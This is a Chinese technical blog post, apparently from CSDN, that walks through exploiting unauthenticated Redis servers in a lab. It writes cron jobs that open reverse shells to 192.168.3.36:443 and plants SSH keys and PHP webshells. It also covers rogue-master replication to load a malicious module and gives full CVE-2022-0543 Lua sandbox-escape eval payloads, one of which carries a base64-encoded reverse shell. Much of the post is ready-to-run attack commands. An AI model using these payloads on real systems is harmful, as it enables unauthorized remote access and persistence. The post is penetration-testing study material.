攻击Redis

最新推荐文章于 2025-10-24 22:57:57 发布
原创 最新推荐文章于 2025-10-24 22:57:57 发布 · 2.8k 阅读 · 4 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#redis #linux #web安全

本文详细介绍了在CentOS和Ubuntu系统中通过crontab定时任务执行反弹shell的方法，涉及Redis的未授权访问利用，如写入文件、SSH公钥和webshell，以及利用Redis主从复制和Lua沙盒绕过的安全漏洞。

文章目录

1、通过写文件getshell

1.0 通过crontab定时任务进行反弹shell介绍

在对Redis未授权访问进行利用前，先了解一下在常见的Linux发行版环境下，通过crontab定时任务来执行反弹shell的相同点和不同点。

CentOS (本次测试使用CentOS 7)

可以在以下文件夹内找到相关配置文件。

  • /var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务，每个任务以创建者的名字命名；
  • /etc/crontab 这个文件负责调度各种管理和维护任务。
  • /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
  • 还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中，让它每小时/天/星期、月执行一次。

CentOS 7 环境下，定时任务的执行日志可通过 /var/log/cron 文件查看.
在这里插入图片描述

在 /var/spool/cron 目录下，名字为root或其他用户名，不同的用户名，执行命令就是以那个用户身份去执行的，示例如下：

* * * * * bash -i >& /dev/tcp/192.168.3.36/443 0>&1

在这里插入图片描述
定时任务的命令执行结果如下，以root身份执行了反弹shell命令：
在这里插入图片描述
如果将文件名改为另一个用户名fa1c0n，则会以fa1c0n身份执行反弹shell命令：
在这里插入图片描述
在这里插入图片描述
如果是在 /etc/cron.d/、/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中这些目录中创建定时文件，则任意文件名都可以，但定时任务内容里要写上用户名，表示由谁来执行定时任务，如下：

* * * * * root bash -i >& /dev/tcp/192.168.3.36/443 0>&1
或：
* * * * * fa1c0n bash -i >& /dev/tcp/192.168.3.36/443 0>&1

在这里插入图片描述
定时任务文件 /etc/cron.d/note.txt 中指定了由root用户来执行反弹shell命令，结果如下：
在这里插入图片描述

改为由用户fa1c0n来执行命令：
在这里插入图片描述
结果如下：
在这里插入图片描述

Ubuntu（本次使用Ubuntu 18.04.4）

相比CentOS，Ubuntu在这方面更为严格。在Ubuntu下，在定时任务文件的目录在/var/spool/cron/crontabs/ （放在/etc/cron.d 目录无法执行命令，原因不详），文件名也是需要为用户名，但与CentOS不同的是，文件的权限需要是600 才可以正常执行。这个可通过查看syslog可知。
在这里插入图片描述

Ubuntu下，查看cron的日志，除了/var/log/syslog外，还可以开启cron日志记录（Ubuntu默认不开启），开启方式是，将 /etc/rsyslog.d/50-default.conf文件中，将cron.* /var/log/cron.log 这一行前面的注释去掉，然后 systemctl restart rsyslog.service 重启 rsyslog 服务即可。
在这里插入图片描述

另外实测发现，反弹shell的命令需要写成 /bin/bash -c <反弹shell命令>的形式才行。而直接跟之前一样写成 <反弹shell命令> 却不行，原因不详。

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.3.36/443 0>&1'

使用其他用户名也是可以的：
在这里插入图片描述
在这里插入图片描述

1.1 写crontab定时任务进行反弹shell

利用前提条件：

目标Redis进程是以root权限启动;
Redis未授权访问或授权口令已知;
【如果是较高版本的Redis，还得关闭配置保护模式】

关于redis的常用配置项可参考：

https://www.runoob.com/redis/redis-conf.html
其实也可以参考源码目录下的redis.conf 文件，里面对配置项有详细的注释。

这个方式只在CentOS里有效，因为redis默认情况下写文件是644的权限，而前面也说过，在Ubuntu环境下，需要600权限才可以。

所以下面以CentOS 7为例，通过Redis未授权访问漏洞，写crontab定时任务进行反弹shell。

本次测试用的Redis版本为最新的7.0.0 ，不知道之前从哪个版本开始，一些比较危险的属性默认情况下是不允许修改的，比如这里用到的dir、dbfilename，毕竟这已经是公开多年的攻击手法，Redis没有理由不对此进行加固。所以在较新版本中，默认情况下，如果修改上述属性，会报错：
在这里插入图片描述

这里为了复现老版本的漏洞，便修改了配置文件/etc/redis.conf，将属性保护模式给关闭，如下：
在这里插入图片描述
修改后就可以修改dir、dbfilename属性了，将dir属性指向cron定时任务的目录/var/spool/cron，dbfilename属性为root。

这里要注意要在写入包含定时任务命令的键值时，要再定时任务内容前后添加上若干个换行符\n。由于save保存时，redis会将版本信息以及其他的一些键值写入dbfilename指向的问题，如果没有换行符\n，则其他键值对内容会破坏定时任务的格式，导致定时任务无法被正确解析、执行，如下图：
在这里插入图片描述
在这里插入图片描述
加上换行符\n后，就可以了 ，如下：
在这里插入图片描述
在这里插入图片描述
成功执行反弹shell：
在这里插入图片描述

1.2 写入ssh公钥

利用前提条件：

redis以root身份运行;
未授权访问或授权口令已知;
服务器开放SSH服务且允许密钥登录. (服务器上/<用户名>/.ssh 目录要存在)

先在攻击机上生成rsa公私钥对。

ssh-keygen -t rsa

在这里插入图片描述

为了写入方便，先将要写入的数据构造好存放到一个新文件中：

(echo "\n\n\n"; cat id_rsa.pub; echo "\n\n\n") > key.txt

在这里插入图片描述

通过Redis未授权写入ssh公钥：

cat key.txt |redis-cli -h centos7 -p 6379 -x set xs

在这里插入图片描述

写入ssh公钥后，便可以通过ssh直接登录了。
在这里插入图片描述

1.3 写入webshell

利用前提条件：

未授权访问或授权口令已知;
服务器开着WEB服务且WEB目录路径已知.

实测发现如果写jsp webshell，发现会有很多乱码。暂不知如何解决。
在这里插入图片描述
在这里插入图片描述

写php一句话倒是ok的。

2、通过主从复制getshell

利用的前提条件：
未授权访问或授权口令已知;
4.x <= Redis <= 5.0.5.

Redis未授权访问在4.x/5.0.5以前版本下，我们可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。

如今进入云原生时代，各企业都在使用容器、kubernetes进行应用部署已成主流。这种情况下，很多时候一个redis服务部署在一个容器里，那这个容器里一般就除了这个redis服务，就没有其他服务了，包括前面提到的ssh、cron服务，故前面提到的通过写文件来getshell就不可行了。

2018年的时候老外在zeronights 2018安全会议中分享了通过redis主从复制来getshell的方法。（参考[4]）

2.1 Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。

基于docker来部署redis集群，可参考笔者之前的文章：
https://blog.youkuaiyun.com/mole_exp/article/details/120675803

2.2 Redis扩展模块

在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。

编写恶意so文件的代码：

https://github.com/vulhub/redis-rogue-getshell

命令可直接回显：
在这里插入图片描述
反弹shell：
在这里插入图片描述

3、Redis Lua沙盒绕过命令执行（CVE-2022-0543）

Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。

这里使用vulhub的环境进行复现：
在这里插入图片描述
命令可直接回显:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在这里插入图片描述
反弹shell：

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzYvNDQzIDA+JjEK |base64 -d |bash -i", "r"); local res = f:read("*a"); f:close(); return res' 0

在这里插入图片描述

要注意的是，不同环境下的liblua库路径不同，你需要指定一个正确的路径。在Vulhub环境（Ubuntu 20.04.4 LTS）中，这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。

参考

[1] https://paper.seebug.org/975/
[2] https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450775177&idx=1&sn=60f333eab252e78452f93c129c566939&scene=21#wechat_redirect
[3] https://github.com/vulhub/vulhub/tree/master/redis
[4] https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
[5] https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
[6] https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce

SSRF攻击Redis写入webshell
渗透之路，攻防之间皆学问
05-19 7499
目录 攻击环境设计 redis服务器搭建 dict探测内网端口 利用gopher协议写入webshell 关于ssrf攻击，传送门 -》SSRF漏洞原理与利用方式。当我们检测出一个网站存在SSRF漏洞的时候，我们就可以探测当前主机开放的端口，而这些端口往往我们从外网是不能直接探测到的，所以可以尝试利用ssrf探测内网开放的端口。 漏洞利用前提： 知道网站根目录，这里假设知道了根目录 根目录具有写文件的权限 攻击环境设计 操作系统：win2012 SSRF漏洞环境搭建，利用皮卡丘靶场 .
SSRF 302跳转攻击redis写入ssh公钥实现远程登录
m0_70638961的博客
08-24 856
ssh -i id_rsa root@IP地址登录成功。
第02篇：Redis主从复制getshell1
08-03
1、生成恶意.so文件，下载RedisModules-ExecuteCommand使用make编译即可生成 1、监听本地1234端口 2、将Redis服务器设置
redis未授权getshell四种方式
没有
04-24 7067
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上，然后在从机上加载so文件，我们就可以执行拓展的新命令了。
【Redis攻击】
最新发布
2302_80252080的博客
10-24 350
摘要：文章分析了通过Redis未授权访问漏洞获取Web服务器控制权的方法。攻击者利用Redis持久化功能，将恶意脚本写入网站目录，生成Webshell后通过蚁剑连接。成功连接后可执行任意命令，包括挖矿脚本等攻击行为。案例演示了从配置Redis环境到最终控制服务器的完整过程，重点是利用config set命令修改存储路径和文件名，最终实现服务器提权。
反弹Shell，看这一篇就够了
Appleteachers的博客
04-24 1555
前言 在渗透测试实战中，我们经常会遇到Linux系统环境，而让Linux主机反弹个shell是再常见不过的事情了。 反弹shell，就是攻击机监听在某个TCP/UDP端口为服务端，目标机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。 正向连接 假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。 反向连接 那么为什么要用反弹shell呢
Redis反弹Shell
fristchoice的博客
07-28 2239
摘要：本文总结了Redis反弹Shell的六种方法：1）写WebShell到网站目录；2）利用crontab计划任务；3）SSRF结合Redis未授权写Shell；4）写入SSH密钥登录；5）利用主从复制RCE漏洞；6）修改系统配置文件。其中重点介绍了前四种方法的实现条件和具体操作步骤，包括关键Redis命令和工具使用。这些方法均需满足特定权限条件，如root启动、未授权访问等，并提供了相关工具链接和参考文章。最后作者表示将持续补充完善，欢迎讨论。
Redis未授权访问之反弹shell
Zlirving_的博客
06-17 2441
Redis简介 Redis 是一个高性能的key-value数据库。为了保证效率，数据都是缓存在内存中。redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步   漏洞简介 1、什么是redis未授权访问漏洞 Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证，会导致任意
SSRF-利用dict协议-攻击redis
m0_62284238的博客
10-14 1234
SSRF漏洞利用dict协议攻打redis
利用SSRF漏洞内网探测来攻击Redis（请求头CRLF方式）
Time Will Tell
09-25 1388
最近大致了解一下Redis，记录一下关于Redis安全方面的内容 存在ssrf漏洞的站点主要利用四个协议，分别是http、file、gopher、dict协议。 SSRF 漏洞出现的场景 1.能够对外发起网络请求的地方，就可能存在 SSRF 漏洞 2.从远程服务器请求资源（Upload from URL，Import & Export RSS Feed） 3.数据库内置功能（Oracle、MongoDB、MSSQL、Postgres、CouchDB） 邮件协议（POP3、IMAP、
SSRF 302跳转 gopher协议攻击redis写入ssh公钥，实现远程无密登录（学习总结）
L2329794714的博客
11-20 3637
一、SSRF漏洞 SSRF（Server Side Request Forgery，服务器端请求伪造）是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞，因为求情是由服务器发出的，所以往往是利用SSRF漏洞攻击服务器所在网络内部系统。 SSRF漏洞形成原因是服务器提供了从外部获取数据的功能，但没有对获取数据的目标地址、协议等进行过滤和限制，从而攻击者可以让服务器发起任意请求。 如下是一个简单的SSRF漏洞，对传入的url 没有做任何限制。即可通过向...
redis计划任务反弹shell
干铮的博客
01-31 3380
1.环境搭建 Ubuntu16.04安装redis sudo apt-get install redis-server vim /etc/redis/redis.conf 注释掉密码和仅允许本地访问 kali 安装redis-cli进行连接 wget http://download.redis.io/redis-stable.tar.gz tar -zxvf redis-stable.tar.gz cd redis-stable make //全局生效 cp src/redis
利用redis漏洞反弹shell
qq_54713392的博客
04-20 2358
利用redis漏洞反弹shell 攻击机：kali 192.168.32.132 目标机：centos7 192.168.32.144 （1）在目标机centos中安装redis服务器(redis-server) 解压，进入源码目录，然后编译(make、make install) 解压文件：tar -zxvf redis-2.8.17.tar.gz 移动解压文件 执行命令：mv redis-2.8.17 /usr/local/redis 进入到目录下：cd /usr/local/redis 执行ma
2021-8-1Redis计划任务反弹shell
qq_45290991的博客
08-01 2472
前段时间忙着毕业，终于现在毕业了，在愉快而紧张地等待毕业前期，我开始了Redis的学习。。。 一、搭建安装配置Redis数据库 我听说在centOS下可以Redis结合计划任务反弹shell成功，Ubuntu貌似不行 ...
ubuntu的redis反弹shell总结
qq_15042405的博客
02-25 1539
ubuntu的redis反弹shell总结 ubuntu要执行有三点： 1、ubuntu的默认执行命令的为/bin/dash，我们使用bash -i肯定是弹不了的。 2、ubuntu计划任务运行有语法要求，redis写入的文件存在缓存数据，导致语法错误无法运行计划任务。 3、文件需要是600 rw权限，权限不对也不能运行，不过我直接写入貌似就是600 rw。 参考链接：http://www.vkxss.top/2019/05/28/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95-R
ssrf，利用redis反弹shell
qq_67757718的博客
03-20 719
在docker中搭建容器，利用ssrf的漏洞攻击redis服务反弹shell
阿里云ECS-Centos7.9集群部署Redis服务遭木马攻击
lilyliu2535的博客
12-23 3163
阿里云ECS-Centos7.9集群部署Redis服务遭木马攻击 #背景 阿里云ECS-Centos7.9集群:hadoop202,hadoop203,hadoop204 hadoop202启动redis-server服务 redis.conf配置 #bind 127.0.0.1 protected-mode no #requirepass hadoop202,hadoop203,hadoop204配置了免密 #遭木马入侵，3台机器 CPU占用高 ~/.ssh/authorized_keys遭篡改 cron
redis受到攻击
weixin_40083227的博客
05-03 563
今天被挖矿软件不小心植入脚本了，导致云服务器100%的CPU占用，被迫当肉鸡。原因是redis的默认端口没有改，也没有密码，就被攻击。 解决方法是 sudo kill -9 10053 && sudo userdel redis 必须要同时执行，这个脚本会自动唤醒，删除redis用户后，找到异常的脚本文件删除掉。然后卸载redis，sudo apt remove redis ...
SSRF——手把手教你Redis反弹Shell
sudu2020dd的博客
06-04 4486
由于业务运行的服务器处于内外网边界，并且可通过利用当前的这台服务器，根据所在的网络，访问到与外部网络隔离的内网应用，所以一般情况下，SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统。因为攻击Redis A之前，首先需要构造一个样本，如何构造，通过在kali本地搭建一个Redis B，作为本地测试，形成攻击链后将他的格式转换为gopher协议，然后测试完毕后，应用在真实攻击上，将gopher协议数据包发送给存在SSRF漏洞的机器实现攻击，转给Redis A，写一个计划任务，反弹shell，往kali弹。
SSRF攻击Redis
03-30
### SSRF 攻击中的 Redis 漏洞利用方式 SSRF（Server-Side Request Forgery）是一种允许攻击者伪造服务器端发起请求的漏洞。当目标服务能够访问内部网络资源时，这种漏洞可能被用来攻击内网的服务，比如 Redis ...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值